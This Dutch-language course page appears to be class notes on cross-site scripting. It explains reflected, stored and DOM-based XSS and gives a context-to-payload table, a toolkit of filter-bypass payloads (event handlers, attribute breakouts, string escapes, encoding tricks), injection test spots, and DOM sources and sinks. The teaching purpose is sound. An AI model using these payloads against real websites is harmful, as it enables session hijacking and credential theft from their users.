> ## Documentation Index
> Fetch the complete documentation index at: https://docs.jaspervanzeir.be/llms.txt
> Use this file to discover all available pages before exploring further.

# XSS & DOM-based Attacks

> Eigen JavaScript laten uitvoeren in de pagina en filters bypassen.

<Note>
  In de les werd `alert(1)` vaak gebruikt als PoC. Wanneer `alert()` geblokkeerd was, kwam `print()` als alternatief aan bod. Bij DOM-oefeningen ging het soms om het aanpassen van een zichtbaar element, bijvoorbeeld tekst in een `result`-div.
</Note>

<Card title="PortSwigger XSS cheat sheet" icon="book" href="https://portswigger.net/web-security/cross-site-scripting/cheat-sheet">
  Payloadreferentie per tag, event en browser.
</Card>

## De 3 types

<CardGroup cols={3}>
  <Card title="Reflected" icon="arrow-right-arrow-left">
    Input komt direct terug in de response (URL-param, zoekveld).
  </Card>

  <Card title="Stored" icon="database">
    Input wordt opgeslagen en later getoond (comment, profiel).
  </Card>

  <Card title="DOM-based" icon="sitemap">
    Client-side JS schrijft een source in een gevaarlijke sink.
  </Card>
</CardGroup>

## Analyse van de context

<Steps>
  <Step title="Werkt HTML?">
    Typ `<h1>zzz</h1>`. Vet weergegeven = HTML wordt geinterpreteerd -> ga door.
  </Step>

  <Step title="PoC">
    `<script>alert(1)</script>` was de basis-PoC. Als die niet werkte, werd de source belangrijker.
  </Step>

  <Step title="Lees de context af">
    Hoe komt je input eruit? Tussen tags? In een attribuut? In JS?
  </Step>

  <Step title="Payloadkeuze">
    De payload hangt af van de context en van welke keywords gefilterd worden.
  </Step>
</Steps>

## Context -> payload

| Wat je in de source ziet    | Passende payload                                                |
| --------------------------- | --------------------------------------------------------------- |
| `<script>` weggestript      | event handler: `<img src=x onerror=alert(1)>`                   |
| keyword wordt 1x verwijderd | geneste variant: `<imgimg ... onerroronerror...>`               |
| input zit in een attribuut  | breakout: `"><script>...` of `" onfocus=alert(1) autofocus x="` |
| quotes geblokkeerd          | HTML-encoding: `&apos;-alert(1)-&apos;`                         |
| niets in HTML, wel in JS    | F12 -> Sources: zoek `innerHTML` / `document.write`             |

## Payload-toolkit

```html theme={null}
<!-- standaard PoC -->
<script>alert(1)</script>

<!-- script geblokkeerd -> event handlers -->
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<body onload=alert(1)>
<details open ontoggle=alert(1)>
<iframe src="javascript:alert(`1`)">

<!-- attribuut-breakout -->
"><script>alert(1)</script>
" autofocus onfocus=alert(1) x="
<a href="javascript:alert(1)">

<!-- je zit IN bestaande JavaScript -> breek uit string/functie -->
';alert(1)//
');alert(1)//
</script><script>alert(1)</script>

<!-- quote-filter omzeilen met HTML-encoding -->
&apos;-alert(1)-&apos;

<!-- DOM-output voorbeeld: tekst in result-div -->
<img src=x onerror="document.getElementById('result').textContent='KoenK'">
<details open ontoggle="document.getElementById('result').textContent='KoenK'">
```

<Tip>
  **Event handlers om mee te varieren:** `onerror` ; `onload` ; `onclick` ; `onmouseover` ; `onmouseup` ; `onfocus` ; `onkeydown` ; `ontoggle`
</Tip>

## Handige testplekken

| Plek                                   | Wat test je ermee?                 | Signaal                                                  |
| -------------------------------------- | ---------------------------------- | -------------------------------------------------------- |
| `?q=<payload>`                         | Reflected XSS in URL-parameters.   | Payload komt direct terug in HTML.                       |
| `#<payload>`                           | DOM-based XSS via `location.hash`. | Geen serverrequest nodig, maar JS leest de hash.         |
| Formveld zoals `name=` of `message=`   | Stored of reflected XSS.           | Payload verschijnt later op dezelfde of een adminpagina. |
| Hidden field                           | Client-side beperking omzeilen.    | Waarde wordt toch server-side verwerkt of getoond.       |
| `Referer` header                       | XSS in logs of adminviews.         | Headerwaarde verschijnt in een dashboard.                |
| `User-Agent` header                    | XSS in request logging.            | Admin/logpagina rendert de header als HTML.              |
| JSON body zoals `{"name":"<payload>"}` | API-output die later in DOM komt.  | Frontend schrijft API-data met `innerHTML`.              |

## Goed om te weten

<AccordionGroup>
  <Accordion title="Chrome blokkeert alert()" icon="ban">
    Vanaf Chrome 92 is `alert()` in een cross-origin iframe geblokkeerd. **`print()`** is dan een alternatief als PoC.
  </Accordion>

  <Accordion title="DOM sources & sinks" icon="sitemap">
    **Sources** (attacker-controlled): `location`, `location.hash`, `location.search`, `document.cookie`, `document.referrer`, `window.name`, `localStorage`.

    **Sinks** (gevaarlijk): `innerHTML`, `document.write()`, `eval()`, `location.href`, `element.srcdoc`.
  </Accordion>

  <Accordion title="Wat kan je met XSS?" icon="bolt">
    Session hijacking (`document.cookie` zonder HttpOnly) ; credential harvesting ; CSRF-token stelen ; keylogging ; redirecten ; acties uitvoeren als het slachtoffer.
  </Accordion>
</AccordionGroup>

## Tools

<CardGroup cols={3}>
  <Card title="Browser DevTools" icon="code" href="https://firefox-source-docs.mozilla.org/devtools-user/">
    Referentie voor HTML-context, console errors, sources en DOM-sinks.
  </Card>

  <Card title="PortSwigger XSS cheat sheet" icon="book" href="https://portswigger.net/web-security/cross-site-scripting/cheat-sheet">
    Zoek payloads per tag, event handler en browser.
  </Card>

  <Card title="Burp Suite" icon="shield" href="https://portswigger.net/burp">
    Handig voor Repeater, payloadvarianten en responsevergelijking.
  </Card>

  <Card title="mechanize" icon="robot" href="https://mechanize.readthedocs.io/en/latest/">
    Pythonbibliotheek die in scripts meerdere payloadvarianten kan aflopen.
  </Card>
</CardGroup>
